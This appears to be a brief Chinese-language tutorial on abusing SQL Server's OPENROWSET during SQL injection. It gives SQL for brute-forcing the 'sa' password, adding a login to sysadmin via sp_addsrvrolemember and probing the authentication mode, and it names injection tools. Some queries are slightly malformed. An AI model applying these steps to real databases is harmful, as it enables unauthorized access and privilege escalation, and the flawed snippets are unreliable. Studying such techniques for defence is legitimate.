0x01
在SQL Server中,openrowset命令可以实现对远程OLE DB数据源的一次性链接。DBA可以用它来检索远程数据库上的数据,以此作为永久连接两个数据库的一种手段,
在使用openrowset前首先要启用Ad Hoc Distributed Queries服务,因为这个服务不安全所以SqlServer默认是关闭的
启用Ad Hoc Distributed Queries的方法
SQL Server 阻止了对组件 ‘Ad Hoc Distributed Queries’ 的 STATEMENT’OpenRowset/OpenDatasource’
的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用
sp_configure 启用 ‘Ad Hoc Distributed Queries’。
启用Ad Hoc Distributed Queries的方法,执行下面的查询语句就可以了:
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure
使用完毕后,记得一定要要关闭它,因为这是一个安全隐患,切记执行下面的SQL语句
exec sp_configure 'Ad Hoc Distributed Queries',0
reconfigure
exec sp_configure 'show advanced options',0
reconfigure
select * from openrowset('SQLOLEDB','Network=DBMSSOCN';Address=10.0.2.2;uid=foo;pwd=password,'select column1 from tableA')
该语句以用户foo连接到地址为10.0.2.2的SQL Server并执行select column1 from tableA查询,最外层的查询传递并返回该查询的结果。请注意,foo是地址为10.0.2.2的数据库的一个用户,而不是首次执行openrowset的数据库用户,另外还要注意,要想作为foo用户成功执行该查询,我们还必须提供正确的口令以便验证能通过。
使用openrowset在SQL注入中有广泛的应用,需要注意三点
- openrowset必须提供执行连接的数据库上的有效凭证。
- openrowset不仅可用于连接远程数据库还可用于执行本地连接;执行本地连接时,使用用户在openrowset调用中指定的权限
- 在SQL Server 2005中默认是禁用该操作的
select * from openrowset( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)
当可以执行openrowset时,可以借此来暴力破解sa口令并提升权限
select * from openrowset('SQLOLEDB','Network=DBMSSOCN';'Address=;uid=sa;pwd=foo','select 1')
如果foo是正确的口令,那么将执行该查询并返回1;如果口令不正确会放回错误
login failed for user 'sa'
所以可以通过暴力来破解了,当找到正确口令,可以使用sp_addsrvrolemember存储过程来将用户(可通过system_user来查找)添加至sysadmin组,这样可以很容易提升权限
sp_addsrvrolemember [ @loginame = ] ‘login’
[@rolename =] ‘role’
第一个参数是用户,第二个参数是将用户添加到的组
一般来说要注意的是,对方使用的验证方式是什么,只有目标sql server上启用了混合验证模式时,sa才会工作,可以注入下列代码来检测当前使用的是哪种认证模式,它决定了是否可以尝试攻击
select serverproperty('IsIntegratedSocurityOnly')
如果当前采用的只有windows验证,那么该查询返回1,否则返回0
,当然推荐一下这方面的工具,比如Bobcat.Burp Intruder和Sqlninja
这里只介绍以上点点内容,在oracle上的比较困难,在以后的文章中会仔细介绍